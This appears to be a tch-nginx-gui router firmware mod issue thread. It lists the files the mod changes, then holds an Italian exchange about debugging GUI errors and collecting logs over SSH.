etc/ssl/certs/SZAFIR_ROOT_CA2.crt
etc/ssl/certs/062cdee6.0
etc/ssl/certs/f30dd6ad.0
etc/ssl/certs/ACCVRAIZ1.crt
etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_2009.crt
etc/ssl/certs/Certum_Trusted_Network_CA_2.crt
etc/ssl/certs/0c4c9b6c.0
etc/ssl/certs/XRamp_Global_CA_Root.crt
etc/ssl/certs/USERTrust_ECC_Certification_Authority.crt
etc/ssl/certs/GlobalSign_ECC_Root_CA_-_R5.crt
etc/ssl/certs/32888f65.0
etc/ssl/certs/930ac5d2.0
etc/ssl/certs/OpenTrust_Root_CA_G2.crt
etc/ssl/certs/1e08bfd1.0
etc/ssl/certs/TrustCor_RootCert_CA-2.crt
etc/ssl/certs/SSL.com_Root_Certification_Authority_RSA.crt
etc/ssl/certs/d6d84089.0
etc/ssl/certs/ce5e74ef.0
etc/ssl/certs/QuoVadis_Root_CA_2.crt
etc/ssl/certs/09789157.0
etc/ssl/certs/Cybertrust_Global_Root.crt
etc/ssl/certs/DigiCert_Assured_ID_Root_G3.crt
etc/ssl/certs/Entrust_Root_Certification_Authority_-_EC1.crt
etc/ssl/certs/e73d606e.0
etc/ssl/certs/75d1b2ed.0
etc/ssl/certs/Security_Communication_RootCA2.crt
etc/ssl/certs/QuoVadis_Root_CA_1_G3.crt
etc/ssl/certs/8160b96c.0
etc/ssl/certs/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G5.crt
etc/ssl/certs/ISRG_Root_X1.crt
etc/ssl/certs/e18bfb83.0
etc/ssl/certs/Amazon_Root_CA_1.crt
etc/ssl/certs/LuxTrust_Global_Root_2.crt
etc/ssl/certs/06dc52d5.0
etc/ssl/certs/Buypass_Class_2_Root_CA.crt
etc/ssl/certs/578d5c04.0
etc/ssl/certs/GeoTrust_Global_CA.crt
etc/ssl/certs/Staat_der_Nederlanden_EV_Root_CA.crt
etc/ssl/certs/ad088e1d.0
etc/ssl/certs/Entrust_Root_Certification_Authority_-_G2.crt
etc/ssl/certs/T-TeleSec_GlobalRoot_Class_3.crt
etc/ssl/certs/40547a79.0
etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt
etc/ssl/certs/IdenTrust_Public_Sector_Root_CA_1.crt
etc/ssl/certs/706f604c.0
etc/ssl/certs/5cd81ad7.0
etc/ssl/certs/ff34af3f.0
etc/ssl/certs/ba89ed3b.0
etc/ssl/certs/AddTrust_External_Root.crt
etc/ssl/certs/TWCA_Root_Certification_Authority.crt
etc/ssl/certs/b1159c4c.0
etc/ssl/certs/40193066.0
etc/ssl/certs/d853d49e.0
etc/ssl/certs/116bf586.0
etc/ssl/certs/def36a68.0
etc/ssl/certs/ca6e4ad9.0
etc/ssl/certs/5a4d6896.0
etc/ssl/certs/Go_Daddy_Root_Certificate_Authority_-_G2.crt
etc/ssl/certs/0f6fa695.0
etc/ssl/certs/b727005e.0
etc/ssl/certs/Secure_Global_CA.crt
etc/ssl/certs/NetLock_Arany_=Class_Gold=_FÅ‘tanúsÃÂtvány.crt
etc/ssl/certs/080911ac.0
etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_EV_2009.crt
etc/ssl/certs/GeoTrust_Universal_CA_2.crt
etc/ssl/certs/6fa5da56.0
etc/ssl/certs/Actalis_Authentication_Root_CA.crt
etc/ssl/certs/Go_Daddy_Class_2_CA.crt
etc/ssl/certs/2e5ac55d.0
etc/ssl/certs/OISTE_WISeKey_Global_Root_GB_CA.crt
etc/ssl/certs/e2799e36.0
etc/ssl/certs/GlobalSign_ECC_Root_CA_-_R4.crt
etc/ssl/certs/GlobalSign_Root_CA.crt
etc/ssl/certs/1636090b.0
etc/ssl/certs/Certplus_Root_CA_G1.crt
etc/ssl/certs/6d41d539.0
etc/ssl/certs/DigiCert_Trusted_Root_G4.crt
etc/ssl/certs/f3377b1b.0
etc/ssl/certs/Starfield_Class_2_CA.crt
etc/ssl/certs/OISTE_WISeKey_Global_Root_GA_CA.crt
etc/ssl/certs/5c44d531.0
etc/ssl/certs/EC-ACC.crt
etc/ssl/certs/DigiCert_Global_Root_G2.crt
etc/ssl/certs/GDCA_TrustAUTH_R5_ROOT.crt
etc/ssl/certs/7d0b38bd.0
etc/ssl/certs/Izenpe.com.crt
etc/ssl/certs/DigiCert_Global_Root_CA.crt
etc/ssl/certs/2e4eed3c.0
etc/ssl/certs/c47d9980.0
etc/ssl/certs/76cb8f92.0
etc/ssl/certs/AffirmTrust_Commercial.crt
etc/ssl/certs/Entrust.net_Premium_2048_Secure_Server_CA.crt
etc/ssl/certs/GlobalSign_Root_CA_-_R2.crt
etc/ssl/certs/5d3033c5.0
etc/ssl/certs/03179a64.0
etc/ssl/certs/128805a3.0
etc/ssl/certs/COMODO_ECC_Certification_Authority.crt
etc/ssl/certs/f081611a.0
etc/ssl/certs/TÜRKTRUST_Elektronik_Sertifika_Hizmet_Sağlayıcısı_H5.crt
etc/ssl/certs/Global_Chambersign_Root_-_2008.crt
etc/ssl/certs/COMODO_RSA_Certification_Authority.crt
etc/ssl/certs/Certigna.crt
etc/ssl/certs/e113c810.0
etc/ssl/certs/451b5485.0
etc/ssl/certs/54657681.0
etc/ssl/openssl.cnf
etc/hotplug.d/
etc/hotplug.d/iface/
etc/hotplug.d/iface/99-mmpbxd
etc/hotplug.d/iface/99-wol
etc/ddns/
etc/ddns/services_ipv6
etc/ddns/services
etc/wansensing/
etc/wansensing/L2Main.lua
etc/modgui_scripts/
etc/modgui_scripts/03_various.sh
etc/modgui_scripts/01_prereq.sh
etc/modgui_scripts/05_app.sh
etc/modgui_scripts/99_postreq.sh
etc/modgui_scripts/04_config.sh
etc/modgui_scripts/02_specific.sh
etc/modgui_scripts/06_network.sh
etc/fwdassist.sh
lib/
lib/upgrade/
lib/upgrade/platform.sh
sbin/
sbin/sysupgrade
sbin/trafficdata.lua
sbin/trafficmon.lua
tmp/
tmp/custom-ripdrv-specificDGA.tar.bz2
tmp/status-led-eventing.md5sum
tmp/status-led-eventing.lua_new
tmp/ledfw_support-specificTG799.tar.bz2
tmp/telstra_gui.tar.bz2
tmp/ledfw_support-specificTG788.tar.bz2
tmp/ledfw_support-specificTG800.tar.bz2
tmp/dosprotect_orig
tmp/ledfw_support-specificDGA.tar.bz2
tmp/web_unlock
tmp/ledfw_support-specificDGA4131.tar.bz2
tmp/ledfw_support-specificTG789.tar.bz2
usr/
usr/lib/
usr/lib/lua/
usr/lib/lua/web/
usr/lib/lua/web/content_helper.lua
usr/lib/lua/web/plural.lua
usr/lib/lua/web/redirect-parental.lua
usr/lib/lua/web/reload_assistance.lua
usr/lib/lua/web/template.lua
usr/lib/lua/web/fileupload.lua
usr/lib/lua/web/sessioncontrol.lua
usr/lib/lua/web/lte-utils.lua
usr/lib/lua/web/sessionmgr.lua
usr/lib/lua/web/post_helper.lua
usr/lib/lua/web/trfile.lua
usr/lib/lua/web/dyntab_helper.lua
usr/lib/lua/web/uimessage_helper.lua
usr/lib/lua/web/session.lua
usr/lib/lua/web/ui_helper.lua
usr/lib/lua/web/intercept.lua
usr/lib/lua/web/uinetwork_helper.lua
usr/lib/lua/web/ajax_helper.lua
usr/lib/lua/web/lp.lua
usr/lib/lua/web/taint.lua
usr/lib/lua/web/network.lua
usr/lib/lua/web/tim_helper.lua
usr/lib/lua/web/check_host.lua
usr/lib/lua/web/web.lua
usr/lib/lua/web/lte-params.lua
usr/lib/lua/web/intl.lua
usr/lib/lua/web/assistance.lua
usr/lib/lua/tch/
usr/lib/lua/tch/inet.lua
usr/lib/lua/transformer/
usr/lib/lua/transformer/shared/
usr/lib/lua/transformer/shared/wanconnection.lua
usr/lib/lua/transformer/shared/devicehelper.lua
usr/lib/lua/transformer/shared/dhcp.lua
usr/lib/lua/transformer/shared/models/
usr/lib/lua/transformer/shared/models/device2/
usr/lib/lua/transformer/shared/models/device2/ipaddr.lua
usr/lib/lua/transformer/shared/models/device2/network.lua
usr/lib/lua/transformer/shared/models/igd/
usr/lib/lua/transformer/shared/models/igd/activedevice.lua
usr/lib/lua/transformer/shared/models/igd/wandevice.lua
usr/lib/lua/transformer/shared/models/igd/xtmconnection.lua
usr/lib/lua/transformer/shared/models/uciconfig.lua
usr/lib/lua/transformer/shared/models/dmordering.lua
usr/lib/lua/transformer/shared/models/xdsl.lua
usr/lib/lua/transformer/shared/timezone.lua
usr/lib/lua/transformer/shared/profile_helper.lua
usr/lib/lua/transformer/shared/ltedoctor.lua
usr/lib/lua/transformer/shared/traceroutehelper.lua
usr/lib/lua/transformer/shared/device2/
usr/lib/lua/transformer/shared/device2/devicehelper.lua
usr/lib/lua/transformer/shared/device2/lowerlayer.lua
usr/lib/lua/transformer/shared/bulkhelper.lua
usr/lib/lua/transformer/shared/leds.lua
usr/lib/lua/transformer/shared/banktable.lua
usr/lib/lua/transformer/shared/cmdhelper.lua
usr/lib/lua/transformer/shared/wifi.lua
usr/lib/lua/transformer/shared/mapper/
usr/lib/lua/transformer/shared/mapper/nwcommon.lua
usr/lib/lua/transformer/shared/xdslctl.lua
usr/lib/lua/transformer/shared/optical.lua
usr/lib/lua/transformer/shared/VendorConfig.lua
usr/lib/lua/transformer/shared/ipdiagnosticshelper.lua
usr/lib/lua/transformer/shared/nudhelper.lua
usr/lib/lua/transformer/shared/ImportConfig.lua
usr/lib/lua/transformer/shared/reboot_helper.lua
usr/lib/lua/transformer/shared/VendorLog.lua
usr/lib/lua/transformer/shared/secrouting_helper.lua
usr/lib/lua/transformer/shared/sfp.lua
usr/lib/lua/transformer/shared/qoshelper.lua
usr/lib/lua/transformer/shared/nslookupdiaghelper.lua
usr/lib/lua/transformer/shared/common/
usr/lib/lua/transformer/shared/common/list.lua
usr/lib/lua/transformer/shared/common/network.lua
usr/lib/lua/transformer/shared/remoteconsoleaccess.lua
usr/lib/lua/transformer/shared/atmpinghelper.lua
usr/lib/lua/transformer/shared/ippinghelper.lua
usr/lib/lua/transformer/shared/firewall_helper.lua
usr/lib/lua/transformer/shared/zonenames.lua
usr/lib/lua/transformer/shared/uciswitch.lua
usr/lib/lua/transformer/shared/mobiled_helper.lua
usr/lib/lua/transformer/shared/mappings/
usr/lib/lua/transformer/shared/mappings/lan/
usr/lib/lua/transformer/shared/mappings/lan/landevice.lua
usr/lib/lua/transformer/shared/mappings/lan/wlanconfig.lua
usr/lib/lua/transformer/shared/mappings/wan/
usr/lib/lua/transformer/shared/mappings/wan/wandevice.lua
usr/lib/lua/transformer/shared/mappings/wan/wanconnectiondevice.lua
usr/lib/lua/transformer/shared/custo/
usr/lib/lua/transformer/shared/custo/wifisecurity.lua
usr/lib/lua/transformer/shared/intfdiaghelper.lua
usr/lib/lua/transformer/shared/hostforward_helper.lua
usr/lib/lua/transformer/shared/ddns.lua
usr/lib/lua/transformer/shared/WLANConfigurationCommon.lua
usr/lib/lua/transformer/shared/bandsteerhelper.lua
usr/lib/lua/transformer/shared/uciobject.lua
usr/lib/lua/transformer/shared/processinfo.lua
usr/lib/lua/transformer/shared/mobileconnection.lua
usr/lib/lua/transformer/shared/ConfigCommon.lua
usr/lib/lua/transformer/shared/tr143helper.lua
usr/lib/lua/transformer/shared/servicedefault.lua
usr/lib/lua/transformer/shared/fon_helper.lua
usr/lib/lua/transformer/shared/setClashPassword.lua
usr/lib/lua/transformer/shared/xtmctl.lua
usr/lib/lua/mobiled/
usr/lib/lua/mobiled/scripthelpers.lua
usr/lib/lua/wansensingfw/
usr/lib/lua/wansensingfw/scripthelpers.lua
usr/lib/lua/modgui.lua
usr/lib/cwmpd/
usr/lib/cwmpd/transfers/
usr/lib/cwmpd/transfers/switchover.sh
usr/lib/cwmpd/transfers/upgrade.sh
usr/share/
usr/share/transformer/
usr/share/transformer/commitapply/
usr/share/transformer/commitapply/Cellular.Interface.X_000E50_Upgrade.ca
usr/share/transformer/commitapply/rpc_system.ca
usr/share/transformer/commitapply/rpc_usb.ca
usr/share/transformer/commitapply/wifi_doctor_agent.ca
usr/share/transformer/commitapply/uci_dlnad.ca
usr/share/transformer/commitapply/uci_upnp.ca
usr/share/transformer/commitapply/igd_WANIPv6Connection.ca
usr/share/transformer/commitapply/dev2_minitr064d.ca
usr/share/transformer/commitapply/rpc_wifitod.ca
usr/share/transformer/commitapply/uci_optical.ca
usr/share/transformer/commitapply/device2_ngwfdd.ca
usr/share/transformer/commitapply/uci_mobiled.ca
usr/share/transformer/commitapply/igd_mobiled.ca
usr/share/transformer/commitapply/uci_portmirror.ca
usr/share/transformer/commitapply/igd_WANATMF5LoopbackDiagnostics.ca
usr/share/transformer/commitapply/igd_dev2_User.ca
usr/share/transformer/commitapply/dev2_mptcp.ca
usr/share/transformer/commitapply/uci_xdsl.ca
usr/share/transformer/commitapply/igd_traceroute.ca
usr/share/transformer/commitapply/uci_web.ca
usr/share/transformer/commitapply/dev2_PPP_Interface.ca
usr/share/transformer/commitapply/igd_ipping.ca
usr/share/transformer/commitapply/igd_intfdiag.ca
usr/share/transformer/commitapply/uci_dropbear.ca
usr/share/transformer/commitapply/uci_telnet.ca
usr/share/transformer/commitapply/uci_mwan.ca
usr/share/transformer/commitapply/uci_dhcp.ca
usr/share/transformer/commitapply/device2_mobiled.ca
usr/share/transformer/commitapply/dev2_qosBW.ca
usr/share/transformer/commitapply/uci_datausage.ca
usr/share/transformer/commitapply/uci_samba.ca
usr/share/transformer/commitapply/uci_networklan.ca
usr/share/transformer/commitapply/uci_system.ca
usr/share/transformer/commitapply/uci_mobiled_network.ca
usr/share/transformer/commitapply/uci_pppoerelayd.ca
usr/share/transformer/commitapply/lcmd.ca
usr/share/transformer/commitapply/gre_hotspot.ca
usr/share/transformer/commitapply/uci_hotspotd.ca
usr/share/transformer/commitapply/igd_minitr064d.ca
usr/share/transformer/commitapply/dev2_tr143.ca
usr/share/transformer/commitapply/uci_system_syslog.ca
usr/share/transformer/commitapply/dev2_pxs_tvmode.ca
usr/share/transformer/commitapply/uci_ngwfdd.ca
usr/share/transformer/commitapply/uci_wansensing.ca
usr/share/transformer/commitapply/uci_ddns.ca
usr/share/transformer/commitapply/DeviceInfo.ca
usr/share/transformer/commitapply/igd_WANPPPConnection.ca
usr/share/transformer/commitapply/uci_intercept.ca
usr/share/transformer/commitapply/uci_system_ntp.ca
usr/share/transformer/commitapply/igd_mobiled_network.ca
usr/share/transformer/commitapply/dev2_DHCPv4_Client.ca
usr/share/transformer/commitapply/rpc_mmpbx.ca
usr/share/transformer/commitapply/uci_parental.ca
usr/share/transformer/commitapply/dev2_IP_Interface.ca
usr/share/transformer/commitapply/dev2_DHCPv6_Client.ca
usr/share/transformer/commitapply/rpc_tod.ca
usr/share/transformer/commitapply/igd_LANHostConfigManagement.ca
usr/share/transformer/commitapply/VoiceService.VoiceProfile.ca
usr/share/transformer/commitapply/igd_WANDSLInterfaceConfig.ca
usr/share/transformer/commitapply/uci_ledfw.ca
usr/share/transformer/commitapply/uci_dosprotect.ca
usr/share/transformer/commitapply/uci_fcctlsettings.ca
usr/share/transformer/commitapply/rpc_qos.ca
usr/share/transformer/commitapply/igd_nud.ca
usr/share/transformer/commitapply/uci_minidlna.ca
usr/share/transformer/commitapply/uci_xtm.ca
usr/share/transformer/commitapply/uci_tod.ca
usr/share/transformer/commitapply/igd_LANEthernetInterfaceConfig.ca
usr/share/transformer/commitapply/uci_modgui.ca
usr/share/transformer/commitapply/uci_webservice.ca
usr/share/transformer/commitapply/dev2_power.ca
usr/share/transformer/commitapply/dev2_wifi_autochannelrefresh.ca
usr/share/transformer/commitapply/uci_ethernet.ca
usr/share/transformer/commitapply/uci_mmpbx.ca
usr/share/transformer/commitapply/dev2_GRE_Tunnel.ca
usr/share/transformer/commitapply/igd_tr143.ca
usr/share/transformer/commitapply/igd_ngwfdd.ca
usr/share/transformer/commitapply/igd_WANDSLInterfaceConfigStandard.ca
usr/share/transformer/commitapply/dev2_remoteassist.ca
usr/share/transformer/commitapply/igd_WANDSLDiagnostics.ca
usr/share/transformer/commitapply/dev2_traceroute.ca
usr/share/transformer/commitapply/uci_firewall.ca
usr/share/transformer/commitapply/igd_WANIPConnection.ca
usr/share/transformer/commitapply/uci_qos.ca
usr/share/transformer/commitapply/uci_web_users.ca
usr/share/transformer/commitapply/ngwfdd.ca
usr/share/transformer/commitapply/device2_mobiled_network.ca
usr/share/transformer/commitapply/uci_wireless.ca
usr/share/transformer/commitapply/rpc_forgotpassword.ca
usr/share/transformer/commitapply/iperf.ca
usr/share/transformer/commitapply/uci_wifiservices.ca
usr/share/transformer/commitapply/X_000E50_RemoteAccess.ca
usr/share/transformer/commitapply/dev2_ipping.ca
usr/share/transformer/commitapply/uci_wol.ca
usr/share/transformer/commitapply/uci_cwmpd.ca
usr/share/transformer/commitapply/uci_printersharing.ca
usr/share/transformer/commitapply/uci_network.ca
usr/share/transformer/commitapply/uci_versioncusto.ca
usr/share/transformer/mappings/
usr/share/transformer/mappings/rpc/
usr/share/transformer/mappings/rpc/mobiled.device.errors.map
usr/share/transformer/mappings/rpc/igmpproxy.map
usr/share/transformer/mappings/rpc/sys.class.leds.map
usr/share/transformer/mappings/rpc/mmpbx.dect.map
usr/share/transformer/mappings/rpc/sys.eth.map
usr/share/transformer/mappings/rpc/mmpbx.calllog.info.map
usr/share/transformer/mappings/rpc/system.config.map
usr/share/transformer/mappings/rpc/forgotpassword.map
usr/share/transformer/mappings/rpc/sys.proc.net.arp.map
usr/share/transformer/mappings/rpc/mobiled.sim.map
usr/share/transformer/mappings/rpc/web.map
usr/share/transformer/mappings/rpc/mobiled.sms.info.map
usr/share/transformer/mappings/rpc/leds.led.map
usr/share/transformer/mappings/rpc/mobiled.leds.map
usr/share/transformer/mappings/rpc/mobiled.platform.info.power_control.map
usr/share/transformer/mappings/rpc/wireless.ap.wps.map
usr/share/transformer/mappings/rpc/sys.conn.map
usr/share/transformer/mappings/rpc/nfc.map
usr/share/transformer/mappings/rpc/mobiled.device.voice.map
usr/share/transformer/mappings/rpc/wireless.ap.acl.map
usr/share/transformer/mappings/rpc/ddns.map
usr/share/transformer/mappings/rpc/network.firewall.dmz.map
usr/share/transformer/mappings/rpc/network.map
usr/share/transformer/mappings/rpc/network.firewall.map
usr/share/transformer/mappings/rpc/sys.log.map
usr/share/transformer/mappings/rpc/rpc.wanethernetinterfaceconfig.map
usr/share/transformer/mappings/rpc/mobiled.map
usr/share/transformer/mappings/rpc/mobiled.platform.capabilities.antenna_control.map
usr/share/transformer/mappings/rpc/user.map
usr/share/transformer/mappings/rpc/optical.link.map
usr/share/transformer/mappings/rpc/system.log.map
usr/share/transformer/mappings/rpc/wireless.ssid.map
usr/share/transformer/mappings/rpc/mobiled.platform.capabilities.antenna_control.linked_device.map
usr/share/transformer/mappings/rpc/optical.map
usr/share/transformer/mappings/rpc/sys.banktable.map
usr/share/transformer/mappings/rpc/tod.map
usr/share/transformer/mappings/rpc/sys.class.net.statistics.map
usr/share/transformer/mappings/rpc/igmpproxy.interface.map
usr/share/transformer/mappings/rpc/network.firewall.pinholerule.map
usr/share/transformer/mappings/rpc/mobiled.device.capabilities.map
usr/share/transformer/mappings/rpc/mobiled.platform.map
usr/share/transformer/mappings/rpc/mobiled.platform.info.map
usr/share/transformer/mappings/rpc/mmpbx.callstatistics.map
usr/share/transformer/mappings/rpc/system.map
usr/share/transformer/mappings/rpc/sys.time.map
usr/share/transformer/mappings/rpc/mmpbx.incomingmap.map
usr/share/transformer/mappings/rpc/mobiled.platform.capabilities.map
usr/share/transformer/mappings/rpc/rpc.ATMStats.map
usr/share/transformer/mappings/rpc/routeradvertisement.interfacesetting.map
usr/share/transformer/mappings/rpc/system.modgui.map
usr/share/transformer/mappings/rpc/gpon.trsv.info.map
usr/share/transformer/mappings/rpc/xdslctl.map
usr/share/transformer/mappings/rpc/system.fwupgrade.map
usr/share/transformer/mappings/rpc/sys.class.iproutes.map
usr/share/transformer/mappings/rpc/wifitod.map
usr/share/transformer/mappings/rpc/wansensing.map
usr/share/transformer/mappings/rpc/rpc.hosts.map
usr/share/transformer/mappings/rpc/network.nat.map
usr/share/transformer/mappings/rpc/sys.usb.map
usr/share/transformer/mappings/rpc/sys.map
usr/share/transformer/mappings/rpc/mmpbx.device.map
usr/share/transformer/mappings/rpc/mobiled.sms.messages.map
usr/share/transformer/mappings/rpc/mmpbx.dectemission.map
usr/share/transformer/mappings/rpc/mmpbx.codecfilter.map
usr/share/transformer/mappings/rpc/optical.interface.map
usr/share/transformer/mappings/rpc/mmpbx.device.stats.map
usr/share/transformer/mappings/rpc/sys.class.net.map
usr/share/transformer/mappings/rpc/network.firewall.userrule_v6.map
usr/share/transformer/mappings/rpc/wireless.ap.map
usr/share/transformer/mappings/rpc/mmpbx.outgoingmap.map
usr/share/transformer/mappings/rpc/sys.upnp.map
usr/share/transformer/mappings/rpc/network.firewall.userrule.map
usr/share/transformer/mappings/rpc/mobiled.sim.pin.map
usr/share/transformer/mappings/rpc/mobiled.device.info.map
usr/share/transformer/mappings/rpc/gpon.ploam.map
usr/share/transformer/mappings/rpc/sys.mem.map
usr/share/transformer/mappings/rpc/gpon.map
usr/share/transformer/mappings/rpc/sys.fon.client.map
usr/share/transformer/mappings/rpc/gpon.stat.gtc.map
usr/share/transformer/mappings/rpc/wireless.bssid.map
usr/share/transformer/mappings/rpc/mobiled.device.map
usr/share/transformer/mappings/rpc/mobiled.network.scan.map
usr/share/transformer/mappings/rpc/qos.map
usr/share/transformer/mappings/rpc/mmpbx.mmpbxrvsipnet.map
usr/share/transformer/mappings/rpc/mobiled.network.sessions.pco.map
usr/share/transformer/mappings/rpc/wireless.ap.station.map
usr/share/transformer/mappings/rpc/network.interface.map
usr/share/transformer/mappings/rpc/datausage.interface.map
usr/share/transformer/mappings/rpc/sys.dect.map
usr/share/transformer/mappings/rpc/mobiled.network.map
usr/share/transformer/mappings/rpc/system.tcpdump.map
usr/share/transformer/mappings/rpc/wireless.radio.stats.map
usr/share/transformer/mappings/rpc/sys.proc.map
usr/share/transformer/mappings/rpc/web.user.map
usr/share/transformer/mappings/rpc/igmpsnooping.map
usr/share/transformer/mappings/rpc/mobiled.sms.map
usr/share/transformer/mappings/rpc/system.battery.map
usr/share/transformer/mappings/rpc/mobiled.network.serving_system.map
usr/share/transformer/mappings/rpc/igmpproxy.interface.group.map
usr/share/transformer/mappings/rpc/rpc.map
usr/share/transformer/mappings/rpc/sys.mptcp.stats.map
usr/share/transformer/mappings/rpc/wireless.map
usr/share/transformer/mappings/rpc/sys.class.ip6routes.map
usr/share/transformer/mappings/rpc/leds.map
usr/share/transformer/mappings/rpc/wireless.radio.eco.map
usr/share/transformer/mappings/rpc/sys.bootp.map
usr/share/transformer/mappings/rpc/network.firewall.portforwardgroup.map
usr/share/transformer/mappings/rpc/mmpbx.map
usr/share/transformer/mappings/rpc/system.lock.map
usr/share/transformer/mappings/rpc/mobiled.network.sessions.map
usr/share/transformer/mappings/rpc/wireless.ap.security.map
usr/share/transformer/mappings/rpc/mobiled.device.radio_preferences.map
usr/share/transformer/mappings/rpc/mobiled.platform.capabilities.power_control.map
usr/share/transformer/mappings/rpc/wireless.radio.acs.map
usr/share/transformer/mappings/rpc/network.firewall.portforward.map
usr/share/transformer/mappings/rpc/mobiled.device.profiles.map
usr/share/transformer/mappings/rpc/sys.class.xdsl.map
usr/share/transformer/mappings/rpc/mobiled.device.firmware_upgrade.map
usr/share/transformer/mappings/rpc/mobiled.platform.info.antenna_control.map
usr/share/transformer/mappings/rpc/network.interface.ppp.map
usr/share/transformer/mappings/rpc/gpon.stat.map
usr/share/transformer/mappings/rpc/mmpbx.rvsipdev.map
usr/share/transformer/mappings/rpc/mobiled.network.time.map
usr/share/transformer/mappings/rpc/wireless.radio.map
usr/share/transformer/mappings/rpc/dhcpv6.client.map
usr/share/transformer/mappings/rpc/sys.proc.net.map
usr/share/transformer/mappings/rpc/datausage.map
usr/share/transformer/mappings/rpc/mobiled.platform.capabilities.power_control.linked_device.map
usr/share/transformer/mappings/rpc/mobiled.network.scanresults.map
usr/share/transformer/mappings/rpc/mmpbx.diagnostics.map
usr/share/transformer/mappings/rpc/sys.hosts.map
usr/share/transformer/mappings/rpc/xdsl.map
usr/share/transformer/mappings/rpc/mobiled.radio.map
usr/share/transformer/mappings/rpc/sys.class.map
usr/share/transformer/mappings/rpc/mmpbx.profile.map
usr/share/transformer/mappings/rpc/mmpbx.phonebook.map
usr/share/transformer/mappings/rpc/gpon.trsv.map
usr/share/transformer/mappings/rpc/wireless.ssid.stats.map
usr/share/transformer/mappings/rpc/mobiled.radio.signal_quality.map
usr/share/transformer/mappings/rpc/rpc.diagnostic_utility.map
usr/share/transformer/mappings/rpc/gpon.ploam.auth.map
usr/share/transformer/mappings/rpc/mmpbx.media.codec.map
usr/share/transformer/mappings/bbf/
usr/share/transformer/mappings/bbf/VoiceService.Capabilities.Codecs.map
usr/share/transformer/mappings/bbf/VoiceService.VoiceProfile.map
usr/share/transformer/mappings/bbf/VoiceService.VoiceProfile.Tone.map
usr/share/transformer/mappings/bbf/VoiceService.map
usr/share/transformer/mappings/bbf/VoiceService.UAVoicePort.map
usr/share/transformer/mappings/bbf/VendorConfigFile.map
usr/share/transformer/mappings/bbf/VoiceService.VoiceProfile.NumberPlan.map
usr/share/transformer/mappings/bbf/VoiceService.PhyInterface.map
usr/share/transformer/mappings/bbf/VoiceService.Capabilities.map
usr/share/transformer/mappings/bbf/VoiceService.Capabilities.SIP.map
usr/share/transformer/mappings/bbf/VoiceService.Handset.map
usr/share/transformer/mappings/bbf/VoiceService.VoiceProfile.SIP-RTP.map
usr/share/transformer/mappings/uci/
usr/share/transformer/mappings/uci/igmpproxy.map
usr/share/transformer/mappings/uci/mobiled.sim.map
usr/share/transformer/mappings/uci/web.map
usr/share/transformer/mappings/uci/mobiled.profile.map
usr/share/transformer/mappings/uci/nfc.map
usr/share/transformer/mappings/uci/upnpd.map
usr/share/transformer/mappings/uci/xtm.map
usr/share/transformer/mappings/uci/ltedoctor.logger.map
usr/share/transformer/mappings/uci/ddns.map
usr/share/transformer/mappings/uci/network.map
usr/share/transformer/mappings/uci/version.map
usr/share/transformer/mappings/uci/mobiled.map
usr/share/transformer/mappings/uci/env.map
usr/share/transformer/mappings/uci/printersharing.map
usr/share/transformer/mappings/uci/optical.map
usr/share/transformer/mappings/uci/samba.map
usr/share/transformer/mappings/uci/tod.map
usr/share/transformer/mappings/uci/wifi-conductor.map
usr/share/transformer/mappings/uci/dlnad.map
usr/share/transformer/mappings/uci/dhcp.map
usr/share/transformer/mappings/uci/system.map
usr/share/transformer/mappings/uci/mmpbxbrcmfxsdev.map
usr/share/transformer/mappings/uci/telnet.map
usr/share/transformer/mappings/uci/wifi_doctor_agent.map
usr/share/transformer/mappings/uci/ethernet.map
usr/share/transformer/mappings/uci/uci.map
usr/share/transformer/mappings/uci/ethoam.map
usr/share/transformer/mappings/uci/wansensing.map
usr/share/transformer/mappings/uci/wanatmf5loopback.map
usr/share/transformer/mappings/uci/lcmd.map
usr/share/transformer/mappings/uci/dropbear.map
usr/share/transformer/mappings/uci/mcastsnooping.map
usr/share/transformer/mappings/uci/tr143.map
usr/share/transformer/mappings/uci/cwmpd.map
usr/share/transformer/mappings/uci/hotspotd.map
usr/share/transformer/mappings/uci/mmpbxbrcmcountry.map
usr/share/transformer/mappings/uci/mmpbxrvsipnet.map
usr/share/transformer/mappings/uci/mmpbxbrcmfxonet.map
usr/share/transformer/mappings/uci/mmpbxinternalnet.map
usr/share/transformer/mappings/uci/firewall.map
usr/share/transformer/mappings/uci/ltedoctor.map
usr/share/transformer/mappings/uci/parental.map
usr/share/transformer/mappings/uci/gpon.map
usr/share/transformer/mappings/uci/portmirror.map
usr/share/transformer/mappings/uci/ngwfdd.map
usr/share/transformer/mappings/uci/speedservice.map
usr/share/transformer/mappings/uci/iperf.map
usr/share/transformer/mappings/uci/modgui.map
usr/share/transformer/mappings/uci/intercept.map
usr/share/transformer/mappings/uci/ipset.map
usr/share/transformer/mappings/uci/mobiled.device.map
usr/share/transformer/mappings/uci/qos.map
usr/share/transformer/mappings/uci/ipping.map
usr/share/transformer/mappings/uci/traceroute.map
usr/share/transformer/mappings/uci/datausage.interface.map
usr/share/transformer/mappings/uci/mmpbxbrcmsi3226x.map
usr/share/transformer/mappings/uci/button.map
usr/share/transformer/mappings/uci/versioncusto.map
usr/share/transformer/mappings/uci/minidlna.map
usr/share/transformer/mappings/uci/system.upgradeserver.map
usr/share/transformer/mappings/uci/wireless.map
usr/share/transformer/mappings/uci/pppoerelayd.map
usr/share/transformer/mappings/uci/uci_defaults.map
usr/share/transformer/mappings/uci/user_friendly_name.map
usr/share/transformer/mappings/uci/mwan.map
usr/share/transformer/mappings/uci/iqos.map
usr/share/transformer/mappings/uci/fcctlsettings.map
usr/share/transformer/mappings/uci/mmpbx.map
r/share/transformer/mappings/uci/ledfw.map
-
prova ad aggiornare all'ultima GUI dev, poi gira un po per le modal (principalmente quelle che non si aprono o danno errori) dopodiche' posta il pacchetto di debug che puoi fare dalla scheda system extra, usa questo sito per caricare il file https://anonfile.com/
-
ciao il pacchetto di debug che puoi fare dalla scheda system extra dove rimane ?
-
da nessuna parte, dovrebbe scaricartelo il browser. comunque mi stanno aiutando anche qui: https://github.com/Ansuel/tch-nginx-gui/issues/529#issuecomment-527265399
da quanto ho capito restano wifi e pppoe da sistemare (anche se quest'ultimo mi pare @kirckc lo aveva sistemato ma non ho capito benissimo come e mi servivano i feedback sul wansensing)
-
esatto e anche la telegestione che da internal error 505 se non ricordo male e non compare la foto del modem nella gui
-
servono i log (logread -l50 da ssh) poco dopo che ha dato qualunque errore, altrimenti non si può capire e risolvere il problema
-
file log
